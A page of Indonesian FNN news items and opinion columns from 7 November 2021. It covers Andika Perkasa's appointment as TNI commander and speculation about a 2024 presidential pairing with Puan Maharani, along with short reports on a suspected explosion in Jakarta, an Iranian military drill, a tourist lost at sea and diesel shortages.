Jakarta, FNN - Anggota Satuan Reskrim Polres Metro Jakarta Barat menyelidiki suara yang diduga ledakan yang terdengar di sekitar kediaman orang tua aktivis Papua, Veronica Koman. Kepala Satuan Reskrim Polres Metro Jakarta Barat Kompol Joko Dwi Harsono membenarkan soal adanya suara yang diduga ledakan tersebut, namun belum dapat memastikan lokasi sumber suara tersebut. "Benar, kita sudah melakukan olah TKP, dan sudah berkoordinasi dengan Lab Forensik untuk mengetahui benda apa yang meledak," kata Kompol Dwi saat dikonfirmasi di Jakarta, Ahad, 7 November 2021. Menurut informasi suara yang diduga ledakan tersebut terjadi di Jalan U Jelambar Baru Jakarta Barat pada Ahad sekira pukul 10.45 WIB. Dwi mengungkapkan menurut keterangan awal, suara yang diduga ledakan tersebut terjadi di dekat kediaman orang tua Veronica Koman. "Menurut informasi rumah orang tuanya," ujarnya. (MD).

Anak Berland, Angka 7 untuk Panglima Andika

Oleh Selamat Ginting *) Jakarta, FNN - DALAM beberapa hari ini di sejumlah grup WA, beredar foto dan identitas calon Panglima TNI Jenderal Andika Perkasa (56 tahun, 10 bulan). Foto serta identitasnya saat masih menjadi taruna dengan pangkat Sermatutar (Sersan Mayor Satu Taruna). Termasuk nama ayahandanya yakni FX Soenarto dengan pekerjaan ABRI. Alamat Jalan Kesatrian 1 Jatinegara, Jakarta Timur. Jalan Kesatrian merupakan nama jalan di Kawasan Berland. Berland berasal dari dua kata yakni bear dan land. Bear artinya beruang, dan land artinya tanah. Penjajah Belanda memberi nama pasukan khususnya (tentaranya) di Indonesia dengan nama Bearland. Pasukan khusus ini diasramakan di Matraman, Jatinegara. Saat itu nama kompleks untuk pasukan Belanda itu adalah Bearland. Karena masyarakat susah menyebut ejaan Bearland, maka hanya menyebut berland. Hingga kini masyarakat menyebutnya Berland. Begitu Indonesia merdeka, asrama khusus tentara Belanda ini diambil alih oleh TNI. Asrama Belanda ini ditempati pasukan Zeni TNI Angkatan Darat. Sampai saat ini, masih ada rumah-rumah panjang dan besar di Berland. Tentu saja dulunya ditempati TNI. Taruna Zeni Dari data pada buku Akademi Militer tersebut, jelas bahwa ayahanda Andika Perkasa merupakan anggota TNI. Memang tidak disebutkan identitas lengkap mengenai ayahandanya. Dari penelusuran penulis, ayahanda Andika Perkasa merupakan perwira lulusan Akademi Militer (Akmil) 1957 di Bandung. Dahulu masih disebut Akademi Zeni Angkatan Darat (Akziad) lulusan angkatan kedua. Akziad mengisi kekosongan Akmil Yogyakarta yang hanya meluluskan dua angkatan. Kemudian ditutup pada 1950. Angkatan ketiga Akmil Yogyakarta, kemudian dikirim ke Akmil Breda, Belanda dan lulus tahun 1954-1955. Jadi dalam sejarah militer Indonesia, lulusan Akziad pun dimasukkan ke dalam rumpun lulusan Akmil khusus Korps Zeni. Saat itu tidak banyak taruna yang bisa diterima di Akziad pada 1953. Hanya 35 orang dari seluruh Indonesia yang memenuhi syarat untuk menjadi taruna, termasuk FX Soenarto. Salah satu persyaratannya, selain fisiknya standar taruna, juga harus memiliki kecerdasan intelektual yang tinggi atau dikenal dalam bahasa Inggris: intelligence quotient (IQ). Fisik Korps Infanteri, otak Korps Zeni. Karena itu pula pimpinan Angkatan Darat sering menugaskan mereka dalam posisi sebagai prajurit Infanteri, baik saat menghadapi DI/TII di Jawa Barat, PRRI/Permesta di Sumatra Barat dan Sumatra Utara. Terutama saat menjadi taruna dalam praktik pertempuran. Bahkan dari 35 taruna yang diterima pada 1953 tersebut, hanya 17 orang yang berhasil lulus pada 1957 alias empat tahun pendidikan, termasuk Kolonel (Zeni) FX Soenarto. Sisanya 18 orang bersama dua orang lainnya yang seharusnya lulus tahun 1956, harus mengulang dan menjadi lulusan 1958. Sedangkan lulusan 1959, antara lain Jenderal Try Sutrisno, yang berhasil menjadi KSAD, Panglima ABRI, dan puncaknya Wakil Presiden. Sedangkan lulusan 1960, antara lain Letjen Sudibyo, terakhir menjadi Kepala Badan Koordinasi Intelijen Negaara (Bakin), kini disebut Bada Intelijen Negara (BIN). Lulusan 1961, antara lain Kapten (Anumerta) Pierre A Tendean. Lulusan 1962, antara lain Letjen Arie Sudewo, mantan Kepala Badan Intelijen ABRI (BIA). Jadi, ayahanda dari Andika Perkasa merupakan abang kelas dari Try Sutrisno. Karena itu tidak perlu heran jika Andika Perkasa memanggil mantan Wakil Presiden Try Sutrisno dengan sebutan Oom, Bahasa Belanda yang artinya saudara atau adik dari ayah. Memang sangat berat untuk bisa menjadi taruna Akziad. Misalnya yang diterima pada 1952 hanya 29 taruna. Saat itu disebut kadet SPGIAD (Sekolah Perwira Genie Angkatan Darat (SPGIAD). Dari 29 taruna, hanya 12 yang berhasil lulus pada 1956. Sisanya 15 kadet keluar sebelum tamat. Kemudian dua orang mengundurkan diri sebelum menjalankan pendidikan. Perwira Hebat dan Angka 7 Kolonel FX Soenarto ayahanda Andika Perkasa merupakan perwira hebat yang mampu lulus tepat waktu, bersama 16 taruna lainnya. Pendidikan Akziad menghasilkan perwira berkualifikasi insinyur (sarjana teknik) militer, dengan dosen-dosen teknik berasal dari Institut Teknologi Bandung (ITB). Sehingga lulusan akademi ini kualitas ilmu tekniknya setara dengan lulusan insinyur teknik sipil dari ITB. Maka, tak usah heran. Darah militer serta teknik sipil mengalir dalam diri Andika Perkasa. Andika Perkasa pun mengikuti jejak ayahnya melanjutkan pendidikan di Akmil Magelang dan lulus tahun 1987. Seperti tertulis di atas, ayahnya lulusan Akmil 1957 dari Korps Zeni. Sedangkan ayah mertua Andika Perkasa, yakni Jenderal (Purn) Hendropriyono, lulusan Akmil 1967 dari Korps Infanteri. Hendro dari pasukan komando jabatan terakhirnya adalah Kepala Badan Intelijen Negara (BIN) semasa Presiden Megawati Soekarnoputri. Angka tujuh (7) menjadi spesial bagi Andika. Baik dirinya, ayah mertua serta ayah kandungnya juga sama-sama lulusan Akmil dengan angka dibelakangnya sama-sama tujuh (7). Andika Perkasa lahir di Bandung 21 Desember 1964 merupakan anak keempat dari pasangan FX Soenarto dengan Udiati. Ayahnya berasal dari Magelang, Jawa Tengah. Sedangkan Ibundanya, Udiati berasal dari Blitar, Jawa Timur. Ayahnya wafat pada 1997 dan ibunya wafat pada 2007. Jadi angka 7 (tujuh) juga punya kenangan menyedihkan bagi Andika Perkasa. Ia kerap menitikkan air mata sambil berdoa dengan tangan terbuka bagi kedua orangtuanya saat berziarah di Taman Pemakaman Umum Pondok Ranggon, Jakarta Timur. Kendati berasal dari pasukan komando, putra keempat dari delapan bersaudara itu, dikenal humanis. Dalam beberapa diskusi dengan jenderal bintang empat itu, penulis menyimpulkan ia seorang intelektual yang bisa menerima perbedaan pendapat. Mau mendengarkan pendapat yang berbeda dengan dirinya. Salah satu pesan yang sering diingatkannya kepada para prajuritnya adalah sayangi keluarga dan sempatkan waktu untuk mengurus keluarga. Kolonel Bersahaja Ayahnya dikenal sebagai kolonel yang bersahaja. Tidak memiliki mobil pribadi, kecuali mobil dinas saat masih aktif menjadi perwira TNI. Kesederhanaan keluarganya menerpa Andika Perkasa menjadi remaja mandiri hingga memilih melanjutkan cita-cita ayahnya menjadi serdadu. Andika menikah secara Islam dengan anak pertama dari Hendropriyono, yakni Diah Erwiany (Hetty). Pasangan tersebut dikarunia seorang anak bernama Alexander Akbar Wiratama Perkasa Hendropriyono. Lebih dikenal sebagai dokter Alex Perkasa. Foto Andika Perkasa menggunakan pakaian koko menyambut kelahiran cucunya, beredar di sejumlah media. Cucu pertama KSAD Andika Perkasa dan istrinya, Diah Erwiany (Hetty Hendropriyono) diberi nama Arthur Ibrahim Perkasa-Hendropriyono. Sang cucu merupakan buah pernikahan dari putra Andika Perkasa, Alexander Akbar Wiratama Perkasa-Hendropriyono dengan Alvina. Alvina merupakan putri dari mantan Inspektur Jenderal Mabes TNI, yakni Letjen TNI (Purn) Muhammad Setyo Sularso, lulusan Akmil 1982 dari Korps Infanteri. Arthur mengingatkan pada seorang jenderal besar Korps Zeni Amerika Serikat, panglima perang yang terkenal di Asia Pasifik. Pernah memiliki markas di Papua serta Morotai, Maluku. Dia adalah Jenderal Besar Douglas McArthur. Gultor jadi Panglima Selama menjadi KSAD, Andika banyak melakukan pembangunan Markas Besar Angkatan Darat (Mabesad). Ia pun memilih Komandan Detasemen Mabesad berasal dari Korps Zeni yang memahami pembangunan atau teknik konstruksi. Namun Andika bukan berasal dari Korps Zeni. Hasil psikotesnya ia menjadi perwira Korps Infanteri. Bahkan Andika menjadi pasukan komando dengan spesialisasi antiteror. Ia mengawali kariernya sebagai perwira pertama Infanteri korps baret merah (Kopassus). Dimulai di Grup 2 /Para Komando dan Satuan-81 /Penanggulangan Teror (Gultor) Kopassus selama 12 tahun. Setelah itu ditugaskan di Departemen Pertahanan dan Keamanan dan Mabesad. Kembali bertugas lagi di Kopassus sebagai Komandan Batalyon 32/Apta Sandhi Prayuda Utama, Grup 3/Sandhi Yudha. Kepintaran yang diturunkan Ayahnya dibuktikan dengan mengenyam pendidikan tinggi Strata-1 (Sarjana Ekonomi) di dalam negeri dan meraih tiga gelar akademik Strata-2 (M.A., M.Sc., M.Phil) serta satu gelar akademik Strata-3 (Ph.D/doktor) dari berbagai perguruan tinggi terkemuka di Amerika Serikat. Sempat terseok-seok pada saat berpangkat Letnan Kolonel selama sembilan tahun. Padahal Andika menjadi lulusan terbaik Pendidikan Sekolah Staf dan Komandan Angkatan Darat (Seskoad) 1999-2000. Akhirnya Andika menjadi Kolonel pada 2010 dengan jabatan sebagai sekretaris pribadi Kepala Staf Umum (Kasum) TNI Letjen Johanes Suryo Prabowo, lulusan terbaik Akmil 1976 dari Korps Zeni. Kemudian Andika menjadi Komandan Resimen Induk Infanteri Kodam Jaya pada 2011. Setelah itu promosi menjadi Komandan Resor Militer (Danrem) 023/Kawal Samudera, Kodam I/Bukit Barisan (2012). Pada saat Jenderal Budiman (lulusan terbaik Akmil 1978 dari Korps Zeni) menjadi KSAD, Andika mendapatkan promosi sebagai Kepala Dinas Penerangan Angkatan Darat. Di sinilah ia mendapatkan jabatan jenderal bintang satu (November 2013). Dalam kurun waktu satu tahun kurang satu bulan, ia pun mendapatkan promosi menjadi Komandan Pasukan Pengamanan Presiden (Danpaspampres) mendampingi Presiden Jokowi yang baru dilantik sebagai presiden hasil pemilu 2014. Disinilah terjadi relasi kuasa antara Presiden Jokowi dengan Jenderal Andika Perkasa. Dua tahun kemudian, Andika Perkasa dipromosikan menjadi Panglima Komando Daerah Militer (Pangdam) XII/Tanjungpura (2016). Selanjutnya promosi menjadi Letjen saat menjadi Komandan Komando Pembina Doktrin, Pendidikan dan Latihan Angkatan Darat (Dankodiklatad) (2018). Bintangnya semakin terang ketika ia menduduki posisi Panglima Komando Strategis Angkatan Darat (Pangkostrad) (2018). Sampai akhirnya menjadi orang nomor satu di Mabesad, sebagai KSAD. Terakhir, setelah selama 2,5 tahun menjadi KSAD, sampai juga Jenderal Andika Perkasa menjadi puncuk pimpinan TNI. Tidak sia-sia ayah kandung almarhum Kolonel Soenarto dan ayah mertua Jenderal Hendropriyono mendidik dan mengawal generasi penerusnya hingga berhasil melampaui capaian kedua orangtuanya menjadi Panglima TNI. Selamat bertugas, Jenderal. *) Pengamat Komunikasi Politik dan Pertahanan

Militer Iran Adakan Latihan Tahunan di Dekat Ambang Teluk

Dubai, FNN - Militer Iran menyelenggarakan latihan tahunan di dekat ambang Teluk pada Ahad, 7 November 2021. Latihan itu berlangsung beberapa pekan sebelum dimulainya kembali pembicaraan antara Teheran dan negara-negara besar untuk menghidupkan kembali kesepakatan nuklir 2015. "Latihan militer di pantai Iran di Teluk Oman adalah menunjukkan kekuatan militer negara dan kesiapan menghadapi musuh kita," kata Laksamana Mahmoud Mousavi, juru bicara latihan Zolfaqar-1400, kepada televisi pemerintah. Latihan itu mencakup wilayah dari bagian timur Selat Hormuz hingga bagian utara Samudra Hindia dan sebagian Laut Merah. Sekitar seperlima minyak yang dikonsumsi secara global melewati Selat Hormuz yang strategis di Teluk. Konfrontasi berkala telah terjadi antara militer Iran dan pasukan AS di Teluk sejak 2018. Hal itu terjadi ketika mantan Presiden AS Donald Trump keluar dari pakta nuklir dan menerapkan kembali sanksi keras terhadap Teheran. Iran telah bereaksi dengan melanggar batas kesepakatan pada program nuklirnya. Pembicaraan tidak langsung antara Iran dan pemerintahan Presiden AS Joe Biden untuk menghidupkan kembali pakta, yang ditunda sejak pemilihan Presiden garis keras Iran Ebrahim Raisi pada Juni, akan dilanjutkan di Wina, 29 November. (MD).

Basarnas Banten Evakuasi Wisatawan Terseret Ombak Kawasan Sawarna

Lebak, FNN - Badan SAR Nasional (Basarnas) Banten melakukan operasi pencarian dan evakuasi wisatawan dari Bekasi, Jawa Barat yang terseret ombak dan menghilang di pesisir kawasan Sawarna, Bayah, Kabupaten Lebak. "Kami sejak pagi hingga siang masih melakukan evakuasi dan belum menemukan wisatawan itu," kata Humas Basarnas Banten, Wahyu, di Lebak, Ahad, 7 November 2021. Peristiwa kecelakaan laut itu terjadi ketika dua wisatawan dari Bekasi Jawa Barat, Ahad, 7 November 2021 pagi sekitar pukul 06.30 WIB berenang di Pantai Ciantir, kawasan Sawarna, Bayah, Kabupaten Lebak. Satu dari wisatawan tersebut dapat diselamatkan. Sedangkan satu orang lagi menghilang terseret ombak ke tengah laut Pantai Ciantir Kawasan Sawarna. Saat ini Basarnas Banten bersama relawan penyelamat pantai juga TNI, Polri, BPBD setempat hingga nelayan melakukan pencarian dan pertolongan kepada wisatawan yang hilang itu. Wisatawan yang terseret bernama Dzikri (21) alamat Jalan Sapiul Kelurahan Jati Cempaka Pondok Gede, Bekasi, Jawa Barat. "Kami berharap wisatawan yang menghilang terseret ombak itu ditargetkan hari ini bisa ditemukan jika gelombang normal," kata Wahyu, sebagaimana dikutip dari Antara. Menurut dia, Basarnas Banten menggunakan alat yang digunakan untuk melakukan evakuasi Rescue Car, Palsar Air, Palsar Komunikasi, Palsar Medis dan APD Hazmat. Selama ini, cuaca di selatan Lebak berawan dengan arah angin barat laut dengan ketinggian gelombang 2.5 sampai 4 meter. "Kami bekerja keras agar wisatawan yang menjadi korban kecelakaan laut dapat ditemukan," katanya menjelaskan. (MD).

Komisi I DPR Datangi Kediaman Calon Panglima TNI untuk Verifikasi Faktual

Jakarta, FNN - Pimpinan dan anggota Komisi I DPR mendatangani kediaman calon Panglima TNI Jenderal Andika Perkasa untuk melakukan verifikasi faktual, di Jakarta, Ahad, November 2021 sore. Berdasarkan pantauan di lapangan, Andika bersama istri Diah Erwiany dan anaknya menyambut kedatangan para anggota Komisi I DPR yang datang satu-persatu. Hadir dalam kesempatan tersebut Wakil Ketua DPR yang juga anggota Komisi I DPR Lodewijk Paulus. Para pimpinan Komisi I DPR yang hadir antara lain Ketua Komisi I DPR Meutya Hafid, para Wakil Ketua Komisi I DPR Abdul Kharis Almashari, Anton Sukartono, dan Bambang Sukartono. Anggota Komisi I DPR yang hadir antara lain Jazuli Juwaini, Taufiq Abdullah, dan Syarief Hasan. Sebelumnya, Komisi I DPR RI menyetujui pencalonan Andika Perkasa sebagai panglima TNI mengantikan Marsekal TNI Hadi Tjahjanto. "Memberikan persetujuan terhadap pengangkatan calon panglima TNI kepada Jenderal TNI Andika Perkasa sebagai panglima TNI," kata Ketua Komisi I DPR RI Meutya Hafid dalam rapat dengar pendapat umum (RDPU) di Gedung DPR, Senayan, Jakarta, Sabtu, 6 November 2021. Meutya mengatakan, persetujuan itu berdasarkan hasil kesimpulan rapat internal komisi I DPR RI, setelah mendengarkan pemaparan visi dan visi calon panglima TNI dan pandagan fraksi-fraksi di Komisi I. Anggota Komisi I DPR RI Bobby Rizaldi mengatakan, kunjungan Komisi I DPR ke kediaman Andika merupakan bagian dari verifikasi faktual dalam proses uji kelayakan calon Panglima TNI. Menurut dia, kunjungan tersebut dalam rangka silaturahmi dengan keluarga Andika dan melihat keseharian calon Panglima. "Ya salah satu tujuannya adalah silaturahim dengan keluarga. Melihat keseharian calon Panglima TNI, dan melihat rumah yang ditinggali sesuai LHKPN," ujarnya, sebagaimana di kutip dari Antara.​​​​​ Bobby mengatakan, tidak semua anggota Komisi I DPR ikut dalam kunjungan tersebut, Hanya dua orang dari setiap fraksi. Pembatasan dilakukan karena masih kondisi pandemi Covid-19. (MD).

Andika Perkasa Akan Dipasangkan dengan Puan Maharani di Pilpres 2024

Oleh: Tjahja Gunawan (Wartawan Senior FNN) BELUM juga resmi menjadi Panglima TNI, Jenderal TNI Andika Perkasa sudah disebut-sebut sebagai calon Presiden yang akan dipasangkan dengan Puan Maharani (Ketua DPR-RI) di Pilpres 2024 nanti. "Mak Banteng dan Ki Lurah sudah deal Andika-Puan di 2024 !," begitu informasi yang saya peroleh dari bagian "pintu belakang", Sabtu malam (6/11). Yang dimaksud Mak Banteng adalah Ketua Umum PDIP Megawati Soekarnoputri sedangkan Ki Lurah adalah Presiden Jokowi. Informasi ini valid tapi bisa juga berubah sesuai perkembangan dan dinamika politik. Politik kan dinamis. Sebelumnya Puan dipasangkan dengan Prabowo, sekarang tiba-tiba tersiar kabar hendak digandengkan dengan Andika. Yang jelas, kalau melihat ketegangan politik di internal PDIP sekarang, tidak mungkin menggandengkan Puan dengan politisi PDIP lainnya Ganjar Pranowo. Di dalam partai yang sama, keduanya kini sedang berebut pengaruh. Kelompok banteng dan kelompok celeng di Partai Moncong Putih, satu sama lain saling beradu kekuatan politik. Berdasarkan hasil survei, elektibilitas Ganjar memang jauh di atas Ketua DPR-RI, Puan Maharani. Tapi Gubernur Jateng itu bukan anak keturunan Soekarno. Sebaliknya, Puan Maharani lahir dari rahim pemilik PDIP yang juga partai dinasti ini. Informasi tentang Andika capres 2024 seolah ada irisannya dengan tulisan wartawan senior yang juga mantan Menteri BUMN era Presiden SBY, Dahlan Iskan. Menjelang fit and proper test Jenderal TNI Andika Perkasa di Komisi I DPR, Dahlan menulis tentang peluang Andika menjadi calon presiden seusai dia pensiun dari lingkungan TNI pada Desember 2022. Sebagai wartawan senior, sangat boleh jadi Dahlan Iskan mengetahui skenario politik tersebut dari jaringan politik serta networknya dengan para pengusaha. Di akhir tulisannya Dahlan menulis, "Saya melihat Jenderal Andika akan menjadi bintang baru dalam peta calon presiden akan datang". Dalam narasi selanjutnya, seperti biasa Dahlan Iskan menulis puja-puji terhadap Andika Perkasa. Jokowi terpaksa kompromi Dalam peta politik sekarang, yang bisa mencalonkan pasangan presiden - wakil presiden hanya parpol atau koalisi parpol hasil pemilu 2019 yang mendapat kursi 20 persen di DPR atau 25 persen suara pemilih nasional. Yang memenuhi syarat itu hanya PDIP. Sedangkan partai-partai lain harus koalisi. Karena itu PDIP bisa bebas menentukan capres sendiri termasuk kemungkinan mengusung pasangan Andika Perkasa-Puan Maharani. Atas pertimbangan itu pula, bisa jadi Jokowi terpaksa harus kompromi dengan Megawati dan juga Hendropriyono dalam proses pencalonan Panglima TNI. Presiden Jokowi terpaksa membatalkan memilih Laksamana TNI Yudo Margono yang seharusnya mendapat giliran menjadi Panglima TNI sekarang. Jalan tengahnya, bisa jadi Yudo Margono akan dicalonkan Jokowi menjadi Panglima TNI tahun depan setelah Andika Perkasa memasuki usia pensiun bulan Desember tahun 2022. Sehingga pada saat Jenderal Andika pensiun kelak, masa dinas aktif Laksamana Yudo Margono juga tinggal satu tahun. Sebagian kalangan menilai, di sisa usianya Megawati merasa tidak sabar ingin menyaksikan anaknya Puan menjadi pemimpin negeri ini. Karena itu muncul skenario politik PDIP untuk menggandengkan Andika Perkasa dengan Puan pada Pilpres 2024. Loh bukankah sebelumnya Puan akan dipasangkan dengan Prabowo Subianto? Apalagi dari hasil survei berbagai lembaga, Ketua Umum Partai Gerindra ini elektibilitasnya tertinggi dibandingkan Ganjar Pranowo dan Anies Baswedan. Kemungkinan ada kompromi baru dimana Partai Gerindra mau "mengalah" di ajang Pilpres namun partai pemenang kedua Pemilu 2019 ini, akan kembali maju habis-habisan di Pilkada DKI Jakarta dengan mengusung Wakil Ketua Umum Partai Gerindra Sandiaga Uno sebagai Calon Gubernur DKI pada tahun 2024. Atau bisa jadi Partai Gerindra mengusung "calon kalah" dalam Pilpres 2024 nanti. Meskipun elektabilitasnya tinggi, bisa jadi Prabowo sekarang sudah mulai insyaf dan tahu diri bahwa dia kini sudah berusia tua (70 tahun). Selain itu publik sebenarnya juga sudah bosan dan jengah melihat wajah dan penampilan Prabowo yang selalu nongol dalam setiap ajang kontestasi Pilpres. Sialnya, setiap kali nyapres dia juga selalu gagal. Bayangkan, di tiga kali pelaksanaan Pilpres 2009, 2014, dan 2019, Prabowo Subianto selalu ikut nyapres dan hasilnya amsyiong. Kok elektabilitasnya bisa tinggi? "Ya itu kan hasil penelitian lembaga survey. Semua orang juga tahu, lembaga survey bisa dipesan sesuai keinginan pembeli, " kata seorang politisi senior. Kalau tahun 2024 Prabowo memaksakan diri ikut kontestasi Pilpres, diperkirakan akan semakin ambyar. Apalagi kelompok Islam yang semula banyak memberikan dukungan di Pilpres 2019, merasa kecewa dengan pilihan politik Prabowo bergabung dalam Kabinet Presiden Jokowi. Dalam logika politik awam, sulit dipahami dua orang capres yang semula sengit bertarung dalam ajang Pilpres tiba-tiba di akhir pertarungan saling berangkulan dan berdamai. Dalam arena tinju mungkin itu bisa terjadi, tapi kalau dalam ranah politik fungsi parpol adalah mendukung atau menjadi oposisi pemerintah. Dalam bahasa yang lebih sederhana, kalau akhirnya Prabowo bergabung dengan Jokowi, lalu untuk apa harus ada Pilpres yang telah mengeluarkan banyak dana, tenaga bahkan menelan korban nyawa para relawan dan pendukung capres. Kembali ke persoalan Andika. Saat menjalani fit and proper test di Komisi I DPR pada Sabtu 6 November 2021, usia Andika Perkasa memang tinggal setahun lagi menuju pensiun dari dunia militer. Beliau lahir 21 Desember 2021. Seluruh anggota Komisi I DPR telah menyetujui Andika Perkasa sebagai Panglima TNI menggantikan Marsekal TNI Hadi Tjahjanto. Sidang Paripurna DPR pada Senin 8 November 2021, hanya sekadar ketok palu saja. Namun yang jelas, saat sidang paripurna itu bertepatan dengan habisnya masa dinas Hadi Tjahjanto di dunia militer. Dia adalah petinggi TNI kelahiran 8 November 1963. Kendati momen pergantian Panglima ini dilakukan di injury time namun semuanya seolah sudah diatur rapi. Pasca reformasi, Panglima TNI memang dilakukan secara bergiliran diantara ketiga angkatan yaitu AL, AD dan AU. Namun tradisi tersebut tidak terlalu diformalkan. Sehingga penentuan Panglima TNI sepenuhnya tetap berada dibawah Presiden setelah diajukan dan mendapat persetujuan DPR. Meski demikian, jabatan Panglima TNI kali ini juga tidak terlepas dari loby-loby politik terutama antara Megawati dengan Jokowi. Bisa jadi dalam loby tersebut juga melibatkan Menhan Jend TNI (Purn) Prabowo Subianto yang juga Ketua Umum Partai Gerindra. Dan sangat mungkin juga Jenderal TNI (Purn) TNI Hendropriyono mertua Andika Perkasa, ikut cawe-cawe dalam loby-loby politik itu. Nah, di sinilah salah satu kekurangan Andika. Dia selalu dikaitkan dengan sosok mertuanya. Andika Perkasa menikahi Diah Erwiany (Hetty) anak tertua Hendropriyono. Jika ingin tampil sebagai pemimpin yang utuh, Andika Perkasa seharusnya bisa keluar dari bayang-bayang mertuanya. Menurut Selamat Ginting, pengamat militer yang juga mantan Wartawan Senior Republika, Andika Perkasa merupakan salah satu prajurit TNI yang pintar. Bukan hanya cemerlang karir militernya, Andika juga pintar secara akademis. Dia mampu meraih banyak gelar akademis yakni pendidikan tinggi Strata-1 (Sarjana Ekonomi) di dalam negeri dan meraih tiga gelar akademik Strata-2 (M.A., M.Sc., M.Phil) serta satu gelar akademik Strata-3 (Ph.D/doktor) dari berbagai perguruan tinggi terkemuka di Amerika Serikat. Andika adalah lulusan terbaik Pendidikan Sekolah Staf dan Komandan Angkatan Darat (Seskoad) 1999-2000. Pihak yang menolak Andika Karier militer Andika sebelumnya pernah menjadi Kadispen Angkatan Darat, Komandan Paspampres, Pangdam Tanjungpura, Komandan Kodiklat AD, Pangkostrad dan sejak tahun 2018 diangkat jadi KSAD. Sampai akhirnya dia mencapai puncak kariernya di dunia militer sebagai Panglima TNI pada November 2021. Meski banyak yang mendukung Andika Perkasa tetapi ada pula yang menolak dia sebagai Panglima TNI. Di antara para pihak yang menolak pencalonan Andika Perkasa sebagai Panglima TNI adalah koalisi 14 Lembaga Swadaya Masyarakat (LSM), serta Koalisi Masyarakat Sipil untuk Reformasi Sektor Keamanan. Meski ada penolakan namun proses politik serta dukungan dari anggota DPR kepada Andika Perkasa terus mengalir. Meski hanya akan menjabat selama 1 tahun dan 1 bulan, posisi baru Jenderal Andika ini tetap sangat penting. Terutama kalau dikaitkan dengan tangga karir sipil berikutnya. Megawati Soekarnoputri merasa percaya diri memasangkan Andika dengan Puan karena PDIP satu-satunya parpol yang bisa mengajukan capres dan cawapres sendiri sesuai ketentuan ambang batas pemilihan Presiden atau Presidential Treshold 20 %. Berdasarkan UU No 7 tahun 2017 tentang pemilu disebutkan bahwa tahapan Pilpres oleh KPU akan dimulai bulan Juli tahun 2022 atau 20 bulan sebelum pencoblosan pada bulan Maret tahun 2024. Sementara ambang batas Pemilihan Presiden atau Presidential Threshold untuk dapat mencalonkan capres dan cawapres adalah 20% kursi DPR RI, atau setidaknya 115 kursi DPR RI. Saat ini PDIP sudah memenuhi persyaratan pencalonan presiden. PDIP saat ini memiliki 128 kursi di DPR RI sementara ambang batas minimal untuk mencalonkan capres adalah 115 kursi DPR. Selanjutnya capres dan cawapres dari PDIP akan ditentukan oleh Ketua Umum PDIP Megawati Soekarnoputri. Dengan catatan, sebelum Pilpres 2024 Megawati masih diberi keeempatan hidup oleh Tuhan Yang Maha Esa. Harus diakui bahwa sistem Pemilu seperti sekarang bisa menghambat munculnya para calon pemimpin berkualitas yang tidak memiliki partai seperti Anies Baswedan, mantan Panglima TNI Jenderal TNI (Purn) Gatot Nurmantyo, tokoh pergerakan yang juga mantan Menko Perekonomian Dr Rizal Ramli. Oleh karena itu perjuangan Dewan Perwakilan Daerah (DPD) agar ambang batas Pemilihan Presiden untuk capres dan cawapres bisa diturunkan dari 20 % menjadi 0 %, patut didukung agar para calon pemimpin bangsa yang bermutu bisa tampil dan berkompetisi merebut hati rakyat dalam Pilpres. Bahkan meskipun perjuangan tersebut belum terwujud, Ketua DPD La Nyalla Mattalitti sudah mendeklarasikan diri sebagai Capres 2024. Adanya ketentuan ambang batas presidential threshold 20 persen suara nasional dan 25 persen kursi parlemen sungguh sangat merugikan anak muda, figur-figur nonpartai, serta figur calon pemimpin di daerah yang tidak terafiliasi dengan partai. Dalam sistem politik yang berlaku sekarang, untuk bisa tampil dalam ajang kontestasi dan seleksi calon pemimpin harus mendapatkan tiket dari partai politik. Dalam realitasnya, tiket dari parpol ini telah menyuburkan praktek politik uang dan korupsi dimana-mana. Kalau kondisinya terus seperti ini, kapan Indonesia akan maju? ****

Kelangkaan Solar Karena Masalah Kuota

Jakarta, FNN - Serikat Pekerja Pertamina Seluruh Indonesia (SPPSI) Jakarta menilai kelangkaan bahan bakar minyak (BBM) jenis solar di beberapa wilayah Indonesia akhir-akhir ini karena masalah kuota. "Saya melihat kelangkaan solar yang terjadi bukan kesalahan Pertamina dalam memproduksi dan menyalurkan solar. Akan tetapi, kemungkinan akibat penentuan kuota meleset dari kondisi di lapangan seiring dengan kebijakan PPKM (Pemberlakuan Pembatasan Kegiatan Masyarakat)," kata Ketua Umum SPPSI Jakarta, Muhamad Anis, Muhamad Anis dalam keterangan persnya, di Jakarta, Ahad, 7 November 2021. Ia mengatakan, sesuai dengan Perpres No. 69 Tahun 2021 tentang Penyediaan, Pendistribusian dan Harga Jual Eceran Bahan Bakar Minyak, Pertamina mendapat penugasan dari pemerintah selaku operator untuk mendistribusikan BBM ke seluruh pelosok tanah air. Pemerintah melalui Badan Pengatur Hulu Minyak dan Gas (BPH Migas) telah menentukan kuota alokasi BBM subsidi yang dapat disalurkan kepada masyarakat. Sehingga berapa pun kuota yang diputuskan oleh BPH Migas akan menjadi dasar bagi Pertamina melakukan proses pendistribusian BBM subsidi kepada masyarakat. "Ketika itu diputuskan, misalkan 15,8 juta kilo liter untuk satu tahun, maka Pertamina harus menjalankan perintah itu. Siapkan dan salurkan 15,8 juta kilo liter," ujar Anis, sebagaimana dikutip dari Antara. Terkait kelangkaan solar yang terjadi, Anis menilai ada kemungkinan kuota yang ditentukan oleh BPH Migas meleset dari kebutuhan di lapangan. Hal itu sejalan dengan kebijakan PPKM yang berbeda di setiap daerah. "Bisa jadi, salah satu alasan dari BPH Migas menentukan 15,8 juta kilo liter itu, karena adanya level PPKM yang bervariasi di setiap daerah," katanya. Menurut Anis, jika akhir Desember 2021 PPKM diteruskan, akan cukup 15,8 juta kilo liter. "Tetapi nyatanya ketika Oktober level PPKM diturunkan pemerintah, terjadi lonjakan-lonjakan konsumen," tutur Anis Ia berharap agar pemerintah segera menetapkan sistem pricing dan subsidi BBM yang adil dan berkelanjutan. Dengan demikian, tidak ada disparitas harga yang dapat menimbulkan penyalahgunaan BBM bersubsidi. "Dengan demikian, untuk mengatasi permasalahan kelangkaan solar saat ini, pemerintah harus menambah kuota solar, menambah dana subsidi dan membayar piutang Pertamina" kata Anis. (MD).

Penilaian Istri, Keteladanan Hoegeng Abadi Seperti Kasih sayang Kami

